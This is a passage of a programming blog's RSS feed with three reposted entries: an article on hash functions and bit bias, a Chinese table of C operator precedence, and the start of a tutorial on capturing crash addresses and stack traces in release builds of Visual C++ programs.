<p align=left>There isn't much real mathematical work which can definitely prove the relationship between prime numbers and pseudo random number generators. Nevertheless, the best results have been found to include the use of prime numbers. PRNGs are currently studied as a statistical entity, they are not study as deterministic entities hence any analysis done can only bare witness to the overall result rather than to determine how and or why the result came into being. If a more discrete analysis could be carried out, one could better understand what prime numbers work better and why they work better, and at the same time why other prime numbers don't work as well, answering these questions with stable, repeatable proofs can better equip one for designing better PRNGs and hence eventually better hash functions. </p>
<p>The basic concepts surrounding the use of prime numbers in hash functions revolve around the concept of operating the current state value of the hash function with a prime number as opposed to another type of number. The term operate means something as simple as applying some form of mathematical operation such as multiplication or addition to the hash value. The result being a new hash value that should statistically have a higher entropic value or in other words a very low bit-bias for any of the bits in the new hash value. In simple terms when you multiply a set of random numbers by a prime number the resulting numbers when analyzed at their bit levels should show no bias towards being one state or another ie: Pr(B<sub>i</sub> = 1) ~= 0.5. There is no concrete proof that this is the case or that it only happens with prime numbers, it just seems to be an ongoing self-proclaimed intuition that some professionals in the field seem obligied to follow. </p>
<p>Deciding what is the right or even better yet the best possible combination of hashing methodologies and use of prime numbers is still very much a black art. No single methodology can lay claim to being the ultimate general purpose hash function. The best one can do is to evolve via trial and error and statistical analysis methods for obtaining suitable hashing algorithms that meet their needs. </p>
<p><br>&nbsp;</p>
<h3 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=BitBiases><u><font color=#606420>Bit Biases</font></u></a></h3>
<p align=left>Bit sequence generators, be them purely random or in some way deterministic, will generate bits with a particular probability of either being one state or another - this probability is known as the bit bias. In the case of purely random generators the bit bias of any generated bit being high or low is always 50% (Pr=0.5). </p>
<p align=left>However in the case of pseudo random number generators, the algorithm generating the bits will define the bit bias of the bits generated in the minimal output block of the generator. </p>
<p align=center><img alt="Logic Block Bit Bias - Copyright Arash Partow" src="http://www.partow.net/images/hashfunction-img3.png" border=0> </p>
<p align=left>Assume a PRNG that produces 8 bit blocks as its output. For some reason the MSB is always set to high, the bit bias then for the MSB will be a probability of 100% being set high. From this one concludes that even though there are 256 possible values that can be produced with this PRNG, values less than 128 will never be generated. Assuming for simplicity the other bits being generated are purely random, then there is equal chance that any value between 128 and 255 will be generated, however at the same time, there is 0% chance that a value less than 128 will be produced. </p>
<p align=left>All PRNGs, be they the likes of hash functions, ciphers, msequences or anything else that produces a bit sequence will all possess a unique bit bias. Most PRNGs will attempt to converge their bit biases to an equality, stream ciphers are one example, whereas others will work best with a known yet unstable bit bias. </p>
<p align=left>Mixing or scrambling of a bit sequence is one way of producing a common equality in the bit bias of a stream. Though one must be careful to ensure that by mixing they do not further diverge the bit biases. A form of mixing used in cryptography is known as avalanching, this is where a block of bits are mixed together sometimes using a substitution or permutation box, with another block to produce an output that will be used to mix with yet another block. </p>
<p align=left>As displayed in the figure below the avalanching process begins with one or more pieces of binary data. Bits in the data are taken and operated upon (<em>usually some form of input sensitive bit reducing bitwise logic</em>) producing an ith-tier piece data. The process is then repeated on the ith-tier data to produce an i+1'th tier data where the number of bits in the current tier will be less than or equal to the number of bits in the previous tier. </p>
<p align=left>The culmination of this repeated process will result in one bit whos value is said to be dependent upon all the bits from the original piece(s) of data. It should be noted that the figure below is a mere generalisation of the avalanching process and need not necessarily be the only form of the process. </p>
<p align=center><img alt="Data Avalanching - Copyright Arash Partow" src="http://www.partow.net/images/hash_avalance.png" border=0> </p>
<p align=left>In data communications that use block code based error correcting codes, it has been seen that to overcome burst errors, that is when there is a large amount of noise for a very short period of time in the carrier channel, if one were to bit-scramble whole code blocks with each other, then have the scrambled form transmitted and then descrambled at the other end that burst errors would then most likely be distributed almost evenly over then entire sequence of blocks transmitted allowing for a much higher chance of fully detecting and correcting all errors. This type of deterministic scrambling and descrambling without the need for a common key is known as interleaving and deinterleaving. </p>
<p><br>&nbsp;</p>
<h3 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=VariousFormsOfHashing><u><font color=#606420>Various Forms Of Hashing</font></u></a></h3>
<p align=left>Hashing as a tool to associate one set or bulk of data with an identifier has many different forms of application in the real-world. Below are some of the more common uses of hash functions. </p>
<ul style="TEXT-ALIGN: left">
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=StringHashing><strong><u><font color=#606420>String Hashing</font></u></strong></a></h4>
    <p>Used in the area of data storage access. Mainly within indexing of data and as a structural back end to associative containers<em>(ie: hash tables)</em> </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=CryptograhpicHashing><strong><u><font color=#606420>Cryptographic Hashing</font></u></strong></a></h4>
    <p>Used for data/user verification and authentication. A strong cryptographic hash function has the property of being very difficult to reverse the result of the hash and hence reproduce the original piece of data. Cryptographic hash functions are used to hash user's passwords and have the hash of the passwords stored on a system rather than having the password itself stored. Cryptographic hash functions are also seen as irreversible compression functions, being able to represent large quantities of data with a signal ID, they are useful in seeing whether or not the data has been tampered with, and can also be used as data one signes in order to prove authenticity of a document via other cryptographic means. </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=GeometricHashing><strong><u><font color=#606420>Geometric Hashing</font></u></strong></a></h4>
    <p>This form of hashing is used in the field of computer vision for the detection of classified objects in arbitrary scenes. </p>
    <p>The process involves initially selecting a region or object of interest. From there using affine invariant feature detection algorithms such as the Harris corner detector (HCD), Scale-Invariant Feature Transform (SIFT) or Speeded-Up Robust Features (SURF), a set of affine features are extracted which are deemed to represent said object or region. This set is sometimes called a macro-feature or a constellation of features. Depending on the nature of the features detected and the type of object or region being classified it may still be possible to match two constellations of features even though there may be minor disparities (such as missing or outlier features) between the two sets. The constellations are then said to be the classified set of features. </p>
    <p>A hash value is computed from the constellation of features. This is typically done by initially defining a space where the hash values are intended to reside - the hash value in this case is a multidimensional value normalized for the defined space. Coupled with the process for computing the hash value another process that determines the distance between two hash values is needed - A distance measure is required rather than a deterministic equality operator due to the issue of possible disparities of the constellations that went into calculating the hash value. Also owing to the non-linear nature of such spaces the simple Euclidean distance metric is essentially ineffective, as a result the process of automatically determining a distance metric for a particular space has become an active field of research in academia. </p>
    <p>Typical examples of geometric hashing include the classification of various kinds of automobiles, for the purpose of re-detection in arbitrary scenes. The level of detection can be varied from just detecting a vehicle, to a particular model of vehicle, to a specific vehicle. </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=BloomFilters><strong><u><font color=#606420>Bloom Filters</font></u></strong></a></h4>
    <p>A Bloom filter allows for the state of existance of a very large set of possible type values to be represented with a much smaller piece of memory. This is achieved through the use of multiple distinct hash functions and also by allowing the result of a query for the existance of a particular type to have a certain amount of error. This error can be controlled by varying the size of the table used for the Bloom filter and also by varying the number of hash functions. Bloom filters are commonly found in applications such as spell-checkers, network packet analysis tools and network/internet caches. </p>
    </li>
</ul>
<p><br>&nbsp;</p>
<h3 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=AvailableHashFunctions><u><font color=#606420>Available Hash Functions</font></u></a></h3>
<p align=left>The General Hash Functions Library has the following mix of additive and rotative general purpose string hashing algorithms. The following algorithms vary in usefulness and functionality and are mainly intended as an example for learning how hash functions operate and what they basically look like in code form. </p>
<ul style="TEXT-ALIGN: left">
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=RSHashFunction><strong><u><font color=#606420>RS Hash Function</font></u></strong></a></h4>
    <p>A simple hash function from Robert Sedgwicks Algorithms in C book. I've added some simple optimizations to the algorithm in order to speed up its hashing process. </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=JSHashFunction><strong><u><font color=#606420>JS Hash Function</font></u></strong></a></h4>
    <p>A bitwise hash function written by Justin Sobel </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=PJWHashFunction><strong><u><font color=#606420>PJW Hash Function</font></u></strong></a></h4>
    <p>This hash algorithm is based on work by Peter J. Weinberger of AT&amp;T Bell Labs. The book Compilers (Principles, Techniques and Tools) by Aho, Sethi and Ulman, recommends the use of hash functions that employ the hashing methodology found in this particular algorithm. </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=ELFHashFunction><strong><u><font color=#606420>ELF Hash Function</font></u></strong></a></h4>
    <p>Similar to the PJW Hash function, but tweaked for 32-bit processors. Its the hash function widely used on most UNIX systems. </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=BKDRHashFunction><strong><u><font color=#606420>BKDR Hash Function</font></u></strong></a></h4>
    <p>This hash function comes from Brian Kernighan and Dennis Ritchie's book "The C Programming Language". It is a simple hash function using a strange set of possible seeds which all constitute a pattern of 31....31...31 etc, it seems to be very similar to the DJB hash function. </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=SDBMHashFunction><strong><u><font color=#606420>SDBM Hash Function</font></u></strong></a></h4>
    <p>This is the algorithm of choice which is used in the open source SDBM project. The hash function seems to have a good over-all distribution for many different data sets. It seems to work well in situations where there is a high variance in the MSBs of the elements in a data set. </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=DJBHashFunction><strong><u><font color=#606420>DJB Hash Function</font></u></strong></a></h4>
    <p>An algorithm produced by Professor Daniel J. Bernstein and shown first to the world on the usenet newsgroup comp.lang.c. It is one of the most efficient hash functions ever published. </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=DEKHashFunction><strong><u><font color=#606420>DEK Hash Function</font></u></strong></a></h4>
    <p>An algorithm proposed by Donald E. Knuth in <em>The Art Of Computer Programming Volume 3</em>, under the topic of sorting and search chapter 6.4. </p>
    <li>
    <h4 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=APHashFunction><strong><u><font color=#606420>AP Hash Function</font></u></strong></a></h4>
    <p>An algorithm produced by me Arash Partow. I took ideas from all of the above hash functions making a hybrid rotative and additive hash function algorithm. There isn't any real mathematical analysis explaining why one should use this hash function instead of the others described above other than the fact that I tired to resemble the design as close as possible to a simple LFSR. An empirical result which demonstrated the distributive abilities of the hash algorithm was obtained using a hash-table with 100003 buckets, hashing The Project Gutenberg Etext of Webster's Unabridged Dictionary, the longest encountered chain length was 7, the average chain length was 2, the number of empty buckets was 4579. Below is a simple algebraic description of the AP hash function: </p>
    <p align=center><img alt="Algebraic Description of AP Hash Function - Copyright Arash Partow" src="http://www.partow.net/images/ap_hash_description.png" border=0> </p>
    </li>
</ul>
<p><br>&nbsp;</p>
<h3 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=GeneralHashFunctionLicense><u><font color=#606420>General Hash Function License</font></u></a></h3>
<p align=left>Free use of the General Hash Functions Algorithm Library available on this site is permitted under the guidelines and in accordance with the most current version of the <a class=dash title="Common Public License" href="http://www.opensource.org/licenses/cpl.php"><u><font color=#0000ff>"Common Public License."</font></u></a> </p>
<p><br>&nbsp;</p>
<h3 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=Compatability><u><font color=#606420>Compatability</font></u></a></h3>
<p align=left>The General Hash Functions Algorithm Library C\C++ implementation is compatible with the following C\C++ compilers: </p>
<ul style="TEXT-ALIGN: left">
    <li>GNU Compiler Collection (3.3.1-x+)
    <li>Intel&#174; C++ Compiler (8.x+)
    <li>Borland C++ Builder (5,6)
    <li>Borland C++ BuilderX
    <li>Borland Turbo C++
    <li>Microsoft Visual C++ Compiler (8.x+) </li>
</ul>
<p align=left>The General Hash Functions Algorithm Library Object Pascal and Pascal implementations are compatible with the following Object Pascal and Pascal compilers: </p>
<ul style="TEXT-ALIGN: left">
    <li>Borland Delphi (1,2,3,4,5,6,7,8,2005,2006)
    <li>Free Pascal Compiler (1.9.x)
    <li>Borland Kylix (1,2,3)
    <li>Borland Turbo Pascal (5,6,7) </li>
</ul>
<p><br>&nbsp;</p>
<p align=left>The General Hash Functions Algorithm Library Java implementation is compatible with the following Java compilers: </p>
<ul style="TEXT-ALIGN: left">
    <li>Sun Microsystems Javac (J2SE1.4+)
    <li>GNU Java Compiler (GJC)
    <li>IBM Java Compiler </li>
</ul>
<p><br>&nbsp;</p>
<h3 align=left><a href="http://www.partow.net/programming/hashfunctions/index.html#top" name=Download><font color=#606420><u>Download</u></font></a></h3>
<ul style="TEXT-ALIGN: left">
    <li>
    <h4><a href="http://www.partow.net/downloads/GeneralHashFunctions_-_C.zip"><font color=#0000ff><u>General Hash Function Source Code (C)</u></font></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/GeneralHashFunctions_-_CPP.zip"><font color=#0000ff><u>General Hash Function Source Code (C++)</u></font></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/GeneralHashFunctions_-_Object_Pascal.zip"><font color=#0000ff><u>General Hash Function Source Code (Pascal &amp; Object Pascal)</u></font></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/GeneralHashFunctions_-_Java.zip"><font color=#0000ff><u>General Hash Function Source Code (Java)</u></font></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/GeneralHashFunctions_-_Ruby.zip"><font color=#0000ff><u>General Hash Function Source Code (Ruby)</u></font></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/GeneralHashFunctions_-_Python.zip"><font color=#0000ff><u>General Hash Function Source Code (Python)</u></font></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/GeneralHashFunctions.zip"><font color=#0000ff><u>General Hash Function Source Code (All Languages)</u></font></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/BloomFilter_-_CPP.zip"><font color=#606420><u>Bloom Filter Source Code (C++)</u></font></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/BloomFilter_-_Object_Pascal.zip"><u><font color=#0000ff>Bloom Filter Source Code (Object Pascal)</font></u></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/OpenBloomFilter.zip"><u><font color=#0000ff>Open Bloom Filter Source Code (C++)</font></u></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/SelectingAHashingAlgorithm.zip"><u><font color=#0000ff>Selecting a Hashing Algorithm (Bruce J. McKenzie, R. Harries, Timothy C. Bell)</font></u></a></h4>
    <li>
    <h4><a href="http://www.partow.net/downloads/CryptographicHashFunctions-ASurvey.zip"><u><font color=#0000ff>Cryptographic Hash Functions : A Survey (S. Bakhtiari, R. Safavi-Naini, J. Pieprzyk)</font></u></a></h4>
    </li>
</ul>
<img src ="http://www.cnitblog.com/houcy/aggbug/48974.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2008-09-10 20:11 <a href="http://www.cnitblog.com/houcy/archive/2008/09/10/48974.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>运算符优先级和结合性</title><link>http://www.cnitblog.com/houcy/archive/2008/08/05/47616.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 05 Aug 2008 01:26:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2008/08/05/47616.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/47616.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2008/08/05/47616.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/47616.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/47616.html</trackback:ping><description><![CDATA[&nbsp;
<table cellSpacing=0 cellPadding=0 width=549 align=left border=1>
    <tbody>
        <tr>
            <td width=67>
            <p align=center><span>优先级</span></p>
            </td>
            <td>
            <p align=center><span>运算符</span></p>
            </td>
            <td>
            <p align=center><span>含义</span></p>
            </td>
            <td>
            <p align=center><span>参与运算对象的数目</span></p>
            </td>
            <td>
            <p align=center><span>结合方向</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>&nbsp;1</p>
            </td>
            <td>
            <p>( )<br>[ ]<br>-&gt;<br>.</p>
            </td>
            <td>
            <p><span>圆括号运算符</span><br><span>下标运算符</span><br><span>指向结构体成员运算符</span><br><span>结构体成员运算符</span></p>
            </td>
            <td>
            <p>&nbsp;</p>
            <p><span>双目运算符</span><br><span>双目运算符</span><br><span>双目运算符</span><br><br></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>2</p>
            </td>
            <td>
            <p><span>！</span><br>~<br>++<br>--<br>-<br>(<span>类型</span>)<br><span>＊</span><br><span>＆</span><br><span>sizeof</span></p>
            </td>
            <td>
            <p><span>逻辑非运算符</span><br><span>按位取反运算符</span><br><span>自增运算符</span><br><span>自减运算符</span><br><span>负号运算符</span><br><span>类型转换运算符</span><br><span>指针运算符</span><br><span>取地址运算符</span><br><span>求类型长度运算符</span></p>
            </td>
            <td>
            <p><span>单目运算符</span></p>
            </td>
            <td>
            <p><span>自右至左</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>3</p>
            </td>
            <td>
            <p><span>＊</span><br>/<br>%</p>
            </td>
            <td>
            <p><span>乘法运算符</span><br><span>除法运算符</span><br><span><span>求余运算符</span></span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>4</p>
            </td>
            <td>
            <p><span>＋</span><br><span>－</span></p>
            </td>
            <td>
            <p><span>加法运算符</span><br><span>减法运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>5</p>
            </td>
            <td>
            <p>&lt;&lt;<br>&gt;&gt;</p>
            </td>
            <td>
            <p><span>左移运算符</span><br><span>右移运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>6</p>
            </td>
            <td>
            <p>&lt;<br>&lt;=<br>&gt;<br>&gt;=</p>
            </td>
            <td>
            <p><span>关系运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>7</p>
            </td>
            <td>
            <p><span>＝＝</span><br><span>！＝</span></p>
            </td>
            <td>
            <p><span><span>判等运算符</span></span><br><span>判不等运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>8</p>
            </td>
            <td>
            <p><span>＆</span></p>
            </td>
            <td>
            <p><span>按位与运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>9</p>
            </td>
            <td>
            <p><span>＾</span></p>
            </td>
            <td>
            <p><span>按位异或运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>10</p>
            </td>
            <td>
            <p>|</p>
            </td>
            <td>
            <p><span>按位或运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>11</p>
            </td>
            <td>
            <p><span>＆＆</span></p>
            </td>
            <td>
            <p><span>逻辑与运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>12</p>
            </td>
            <td>
            <p>||</p>
            </td>
            <td>
            <p><span>逻辑或运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>13</p>
            </td>
            <td>
            <p><span>？：</span></p>
            </td>
            <td>
            <p><span>条件运算符</span></p>
            </td>
            <td>
            <p><span>三目运算符</span></p>
            </td>
            <td>
            <p><span>自右至左</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>14</p>
            </td>
            <td>
            <p><span>＝</span><br><span>＋＝</span><br><span>－＝</span><br><span>＊＝</span><br>/<span>＝</span><br>%<span>＝</span><br>&gt;&gt;=<br>&lt;&lt;=<br>&amp;=<br><span>＾</span>=<br>|<span>＝</span></p>
            </td>
            <td>
            <p><span>赋值运算符</span></p>
            </td>
            <td>
            <p><span>双目运算符</span></p>
            </td>
            <td>
            <p><span>自右至左</span></p>
            </td>
        </tr>
        <tr>
            <td width=119>
            <p>15</p>
            </td>
            <td>
            <p><span>，</span></p>
            </td>
            <td>
            <p><span>逗号运算符</span><br><span>（顺序求值运算符）</span></p>
            </td>
            <td>
            <p>&nbsp;</p>
            </td>
            <td>
            <p><span>自左至右</span></p>
            </td>
        </tr>
    </tbody>
</table>
<p>&nbsp;</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/47616.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2008-08-05 09:26 <a href="http://www.cnitblog.com/houcy/archive/2008/08/05/47616.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>A very good article about how to debug (1)[Transcopied]</title><link>http://www.cnitblog.com/houcy/archive/2008/03/30/41699.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Sun, 30 Mar 2008 15:36:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2008/03/30/41699.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/41699.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2008/03/30/41699.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/41699.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/41699.html</trackback:ping><description><![CDATA[<h2>COMMENT :&nbsp; </h2>
<p>[houcy]This article is copied from <a href="http://www.codeproject.com/KB/debug/XCrashReportPt1.aspx">http://www.codeproject.com/KB/debug/XCrashReportPt1.aspx</a>&nbsp;. I found that debugging is an art more than a skill. So no doubtedly , I must learn this kind of art. It`s a powerful weapon to arm myself.&nbsp;&nbsp;</p>
<h2>&nbsp;</h2>
<h2>Introduction</h2>
One of the biggest challenges for a developer is to debug a program that has been put into production or shipped to a customer. On the developer's workstation, the program works fine. But on the customer's system, there are random crashes. There is often no direct access to the customer's system, because of distance. Writing to the event log or other log file may be helpful, but can only point in a direction, not give a precise location.
<p>This was the state I was in when I read <a href="http://www.cygnus-software.com/papers/release_debugging.html" target="newwin"><u><font color="#800080">Bruce Dawson's paper on Release Mode Debugging</font></u></a>. Dawson's paper discusses several techniques that I had never encountered before, including how to capture the instruction pointer (ip) of a crash, and how to plug the ip into VC++ and go directly to the source line of the crash. (I am talking about VC++ 6.0 here, not .Net).
</p><p>These new techniques led me toward the holy grail of developers: being able to see a stack trace of each function that led up to the crash. At several points along the way, I thought to myself, "Well, this is pretty complete, there's nothing more to add." But then I would see there was another approach, another API I had overlooked, and I kept on.
</p><h2>Bruce Dawson's Techniques</h2>
The key to Dawson's approach is to generate debug symbols for the release build (I will discuss how later on.) Then whenever you release a new version, you archive the pdb file along with the exe file. Here is one thing I did not know: you can open an exe in DevStudio, step into it, enter an ip, and you will immediately be looking at the source line. This is assuming, of course, that you have the pdb file that corresponds with the exe. Oh, yes, and you will need the instruction pointer (ip).
<p>This was the second revelation for me. Tucked away in Dawson's article was a link to some source code that he had published in <a href="http://www.gdmag.com/" target="newwin"><u><font color="#0000ff">Game Developer Magazine</font></u></a>. The code included an exception handler that captured the ip, system info, and stack at the time of the crash. Best of all, there was also code that could be included in any MFC application, that would automatically call Dawson's exception handler. Here are Dawson's step-by-step directions to add an exception handler to any MFC app:
</p><h3>Preparation</h3>
<ol><strong>
    </strong><li><strong>Set up your release build to generate debug symbols (pdb)</strong><br /><br />
    <ul type="disc">
        <li>In your VC++ project, go to <strong>Project | Settings</strong>. Make sure the <strong>Release</strong> configuration is selected in the <strong>Settings For</strong> combobox on the left. Go to the <strong>C/C++</strong> tab, select the <strong>General</strong> category, and select <strong>Program Database</strong> in the <strong>Debug Info</strong> combobox. This tells the compiler to generate debug information.
        <p>&nbsp;<img height="359" alt="screenshot" src="http://www.codeproject.com/KB/debug/XCrashReportPt1/XCrashReport1.jpg" width="540" />
        </p><p>&nbsp;</p>
        </li><li>Go to the <strong>Link</strong> tab and check <strong>Generate debug info</strong>. This tells the linker to collate debug information into .pdb files. The linker also puts the name of the .pdb file in the executable, so the debugger can find it.
        </li><li>On the same <strong>Link</strong> tab, enter <strong>/OPT:REF</strong> at the end of the <strong>Project Options</strong> list. This tells the linker to eliminate functions and/or data that are never referenced. This is the usually the default for release builds, but it gets turned off when you tell the linker to generate debug information. Failing to specify <strong>/OPT:REF</strong> will cause your executables and DLLs to get 10-20% larger.
        <p><img height="359" alt="screenshot" src="http://www.codeproject.com/KB/debug/XCrashReportPt1/XCrashReport2.jpg" width="540" /> </p>
        </li>
    </ul>
    <br /><strong>
    </strong></li><li><strong>Include these files in your project:</strong>
    <ul type="disc">
        <li><em>ExceptionAttacher.cpp</em>
        </li><li><em>ExceptionHandler.cpp</em> - should be set to <strong>Not using precompiled headers</strong> on the <strong>C/C++</strong> tab (Precompiled Headers).
        </li><li><em>ExceptionHandler.h</em>
        </li><li><em>GetWinVer.cpp</em>
        </li><li><em>GetWinVer.h</em>
        </li><li><em>MiniVersion.cpp</em>
        </li><li><em>MiniVersion.h</em>
        </li><li><em>CrashFileNames.h</em> </li>
    </ul>
    <p><strong></strong></p><strong>
    </strong></li><li><strong>Recompile the entire project.</strong> <br />Tuck away the exe and pdb files. Do <strong>not</strong> ship the pdb file to customers - this is both unnecessary and may be helpful to someone wanting to reverse-engineer your program. </li>
</ol>
<h3>Theory Into Practice</h3>
When your app crashes, it will now call an exception handler that writes out the ip, system info, and stack to a file called <em>ERRORLOG.TXT</em>. In the download there is a sample project called <strong>Test1</strong> that demonstrates this use of Dawson's exception handler.
<p>Here is what the first part of <em>ERRORLOG.TXT</em> looks like: </p>
<div class="precollapse" id="premain0" style="width: 100%"><img id="preimg0" style="cursor: pointer" height="9" src="http://www.codeproject.com/images/minus.gif" width="9" preid="0"  alt="" /><span id="precollapse0" style="margin-bottom: 0px; cursor: pointer" preid="0"> Collapse</span></div>
<div class="no-vmads" id="pre0" style="margin-top: 0px">
<pre lang="text">Test1 caused an Access Violation (0xc0000005)
in module Test1.exe at 001b:<strong><code><strong>00402cc0.<em> </em>&lt;=== HERE IS THE IP</strong></code>
</strong>
Exception handler called in ExceptionAttacher.cpp - AfxWinMain.
Error occurred at 10/18/2003 19:05:08.
D:\temp1\XCrashReportTest\1.1\Test1\Release\Test1.exe, run by hdietrich.
Operating system:  Windows XP (5.1.2600).
1 processor(s), type 586.
32% memory in use.
1024 MBytes physical memory.
687 MBytes physical memory free.
2462 MBytes paging file.
2253 MBytes paging file free.
2048 MBytes user address space.
2033 MBytes user address space free.
Write to location 00000000 caused an access violation.
Context:
EDI:    0x0012fe70  ESI: 0x004043c0  EAX:   0x00000000
EBX:    0x00000001  ECX: 0x0012fe70  EDX:   0x00000000
EIP:    0x00402cc0  EBP: 0x0012f82c  SegCs: 0x0000001b
EFlags: 0x00010246  ESP: 0x0012f820  SegSs: 0x00000023
Bytes at CS:EIP:
c7 05 00 00 00 00 00 00 00 00 c3 90 90 90 90 90
Stack:
0x0012f820: 73dd23d8 004043c0 00000111 0012f85c .#.s.C@.....\...
0x0012f830: 73dd22ae 0012fe70 000003e8 00000000 .".sp...........
0x0012f840: 00402cc0 00000000 0000000c 00000000 .,@.............
0x0012f850: 00000000 0012fe70 000003e8 0012f880 ....p...........
0x0012f860: 73dd8fc5 000003e8 00000000 00000000 ...s............
0x0012f870: 00000000 000003e8 0012fe70 00000000 ........p.......
0x0012f880: 0012f8d0 73dd2976 000003e8 00000000 ....v).s........
0x0012f890: 00000000 00000000 0012fe70 0012fe70 ........p...p...
.
.
.
</pre>
</div>
<p>OK, now we have an ip, plus the exe and its pdb file. The next step is to start up DevStudio, then go to <strong>File | Open</strong> and browse to the release build of your exe (in this case, <em>..\Test1\Release\Test1.exe</em>). Next click on <strong>Step Into (F11)</strong>. You should now see this:
</p><p><img style="margin-left: 30px" height="174" alt="screenshot" src="http://www.codeproject.com/KB/debug/XCrashReportPt1/XCrashReport3.jpg" width="520" />
</p><p>Go to <strong>View | Debug Windows | Registers</strong>. You will see the Registers window:
</p><p><img style="margin-left: 30px" height="149" alt="screenshot" src="http://www.codeproject.com/KB/debug/XCrashReportPt1/XCrashReport4.jpg" width="356" />
</p><p>Now click before the hex value of the EIP register and enter the crash ip (from <em>ERRORLOG.TXT</em>, we know this is <strong>00402cc0</strong>). You cannot cut and paste - you must type this in. When typing it in, the changed address will be displayed in red:
</p><p><img style="margin-left: 30px" height="149" alt="screenshot" src="http://www.codeproject.com/KB/debug/XCrashReportPt1/XCrashReport5.jpg" width="356" />
</p><p>When you are finished typing it in, hit Enter, and you will see this:
</p><p><img style="margin-left: 30px" height="165" alt="screenshot" src="http://www.codeproject.com/KB/debug/XCrashReportPt1/XCrashReport6.jpg" width="337" />
</p><h3>Summary</h3>
